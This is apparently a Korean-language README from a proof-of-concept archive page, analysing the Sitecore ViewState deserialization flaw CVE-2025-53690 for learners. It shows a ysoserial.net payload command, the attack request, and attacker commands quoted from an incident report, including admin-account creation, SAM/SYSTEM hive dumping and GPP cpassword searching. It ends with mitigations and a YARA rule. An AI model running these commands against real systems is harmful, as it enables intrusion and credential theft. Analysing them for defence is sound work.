关联漏洞
描述
This is CVE-2025-53690 Analysis Documents.
介绍
# CVE-2025-53690: Sitecore ViewState Deserialization 취약점 분석
## 개요
CVE-2025-53690은 Sitecore 제품군에서 발견된 ViewState 역직렬화 취약점으로, 노출된 ASP.NET machine key를 악용하여 원격 코드 실행이 가능한 치명적인 보안 취약점입니다.
### 기본 정보
- **CVE ID**: CVE-2025-53690
- **CVSS 점수**: 9.0 (Critical)
- **취약점 유형**: Deserialization of Untrusted Data (CWE-502)
- **발견일**: 2025년 9월
- **공개일**: 2025년 9월 3일
- **실제 악용**: 2024년 12월부터 Zero-day로 악용됨
### 영향받는 제품
- Sitecore Experience Manager (XM) - 9.0 이하 모든 버전
- Sitecore Experience Platform (XP) - 9.0 이하 모든 버전
- Sitecore Experience Commerce (XC)
- Sitecore Managed Cloud
- Active Directory 모듈 1.4 이하
## 취약점 상세 분석
### 근본 원인
이 취약점의 핵심은 **잘못된 구성 관리**에 있습니다:
1. **샘플 Machine Key 사용**: 2017년 이전 Sitecore 배포 가이드에 포함된 샘플 ASP.NET machine key가 프로덕션 환경에서 그대로 사용됨
2. **정적 키 재사용**: 여러 배포에서 동일한 machine key가 반복 사용됨
3. **ViewState 검증 우회**: 노출된 키를 통해 ViewState 무결성 검증을 우회할 수 있음
### ASP.NET ViewState 메커니즘
ViewState는 ASP.NET의 상태 관리 기능으로:
- 웹페이지의 상태를 `__VIEWSTATE` 숨겨진 필드에 저장
- Machine key를 사용하여 무결성 및 기밀성 보장
- 서버는 ViewState를 역직렬화하여 페이지 상태 복원
```xml
<!-- web.config 예시 -->
<system.web>
<machineKey
validationKey="[64바이트 키]"
decryptionKey="[48바이트 키]"
validation="HMACSHA256"
decryption="AES" />
</system.web>
```
### 공격 벡터
#### 1. 취약한 엔드포인트 식별
```
Target: /sitecore/blocked.aspx
Method: POST
특징: 인증 없이 접근 가능, ViewState 사용
```
#### 2. 악성 ViewState 페이로드 생성
공격자는 알려진 machine key와 ysoserial.net을 사용하여 악성 페이로드 생성:
```bash
# ysoserial.net 사용 예시
ysoserial.exe -f ViewState -g TypeConfuseDelegate -c "calc.exe" --validationkey="[키]" --validationalg="HMACSHA256" --decryptionkey="[키]" --decryptionalg="AES"
```
#### 3. HTTP 요청 전송
```http
POST /sitecore/blocked.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=[악성_페이로드]&__VIEWSTATEGENERATOR=[값]
```
## 실제 공격 사례 분석 (Mandiant 보고서)
### 공격 라이프사이클
#### Phase 1: 초기 침투
- **엔드포인트**: `/sitecore/blocked.aspx`
- **방법**: ViewState 역직렬화 공격
- **권한**: NETWORK SERVICE (IIS worker process)
- **페이로드**: WEEPSTEEL 정찰 도구
#### Phase 2: 정찰 및 발판 구축
```powershell
# 실행된 명령들
whoami
hostname
net user
tasklist
ipconfig /all
netstat -ano
net group "domain admins"
```
**배포된 도구들**:
- `7za.exe`: 파일 압축 도구
- `lfe.ico`: EARTHWORM 네트워크 터널링 도구
- `1.vbs`: 명령 실행용 VBScript
#### Phase 3: 권한 상승
```cmd
# 로컬 관리자 계정 생성
net user asp$ [패스워드] /add
net localgroup administrators asp$ /add
net user sawadmin [패스워드] /add
net localgroup administrators sawadmin /add
```
**자격증명 수집**:
```cmd
reg save HKLM\SYSTEM c:\users\public\system.hive
reg save HKLM\SAM c:\users\public\sam.hive
```
#### Phase 4: 지속성 확보
- **RDP 접근**: 생성된 관리자 계정 사용
- **DWAGENT**: 원격 접근 도구 설치 (SYSTEM 권한으로 서비스 등록)
- **계정 설정 변경**:
```cmd
net user [AdminUser] /passwordchg:no /expires:never
wmic useraccount where name='[AdminUser]' set PasswordExpires=False
```
#### Phase 5: 내부 정찰
```cmd
# Domain Controller 식별
nltest /DCLIST:[domain]
nslookup [domain-controller]
# GPO에서 cpassword 검색 (Group Policy Preferences 공격)
findstr /S /l cpassword \\[DC]\sysvol\[domain]\policies\*.xml
# BloodHound/SharpHound 실행
sh.exe -c all
```
#### Phase 6: 횡적 이동
- 탈취한 도메인 관리자 계정으로 다른 시스템에 RDP 접근
- EARTHWORM을 통한 네트워크 터널링으로 보안 우회
### 사용된 도구 분석
#### WEEPSTEEL (정찰 도구)
```csharp
// 수집하는 정보
Information.BasicsInfo basicsInfo = new Information.BasicsInfo
{
Directories = new Information.Directories
{
CurrentWebDirectory = HostingEnvironment.MapPath("~/")
},
OperatingSystemInformation = Information.GetOperatingSystemInformation(),
DiskInformation = Information.GetDiskInformation(),
NetworkAdapterInformation = Information.GetNetworkAdapterInformation(),
Process = Information.GetProcessInformation()
};
```
출력 방식: ViewState로 위장하여 데이터 은닉
```html
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUKLTcyODc4{AES 암호화 + base64 인코딩된 출력}" />
```
#### EARTHWORM (네트워크 터널링)
- SOCKS v5 프록시 서버 기능
- 방화벽 우회 및 트래픽 은닉
- RDP 트래픽을 터널링하여 탐지 회피
#### DWAGENT (원격 접근)
- 합법적인 원격 관리 도구
- SYSTEM 권한으로 서비스 등록
- 자동 시작으로 지속성 확보
#### SHARPHOUND (AD 정찰)
- BloodHound용 데이터 수집 도구
- Active Directory 환경 매핑
- 공격 경로 식별
## 방어 및 완화 방안
### 즉시 조치사항
```xml
<!-- 고유한 machine key 생성 -->
<machineKey
validationKey="[새로운_64바이트_키]"
decryptionKey="[새로운_48바이트_키]"
validation="HMACSHA256"
decryption="AES" />
```
### 보안 강화 방안
1. **자동화된 키 순환**
2. **ViewState MAC 검증 활성화**
3. **구성 파일 암호화**
4. **네트워크 분할**
5. **모니터링 강화**
### 탐지 규칙
```yaml
# YARA 규칙 예시 (WEEPSTEEL 탐지)
rule WEEPSTEEL_Detection {
strings:
$viewstate = "__VIEWSTATE"
$crypto = "System.Security.Cryptography"
$serializer = "JavaScriptSerializer"
condition:
all of them
}
```
## 결론
CVE-2025-53690은 단순한 구성 실수가 어떻게 치명적인 보안 위협으로 이어질 수 있는지를 보여주는 대표적인 사례입니다. 이 취약점을 통해 학습자들은 실제 APT 공격의 전체 라이프사이클을 경험하고, 현대적인 공격 기법과 방어 전략을 이해할 수 있습니다.
## 참고 자료
- [Google Cloud Blog - ViewState Deserialization Zero-Day](https://cloud.google.com/blog/topics/threat-intelligence/viewstate-deserialization-zero-day-vulnerability/)
- [Sitecore Advisory SC2025-005](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003865)
- [CISA KEV Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [ysoserial.net](https://github.com/pwntester/ysoserial.net)
- [Microsoft Security Blog - ASP.NET Machine Keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
文件快照
[4.0K] /data/pocs/5cd6a61ea299bef41d72f66d309f9b0dccfc2a89
└── [7.0K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。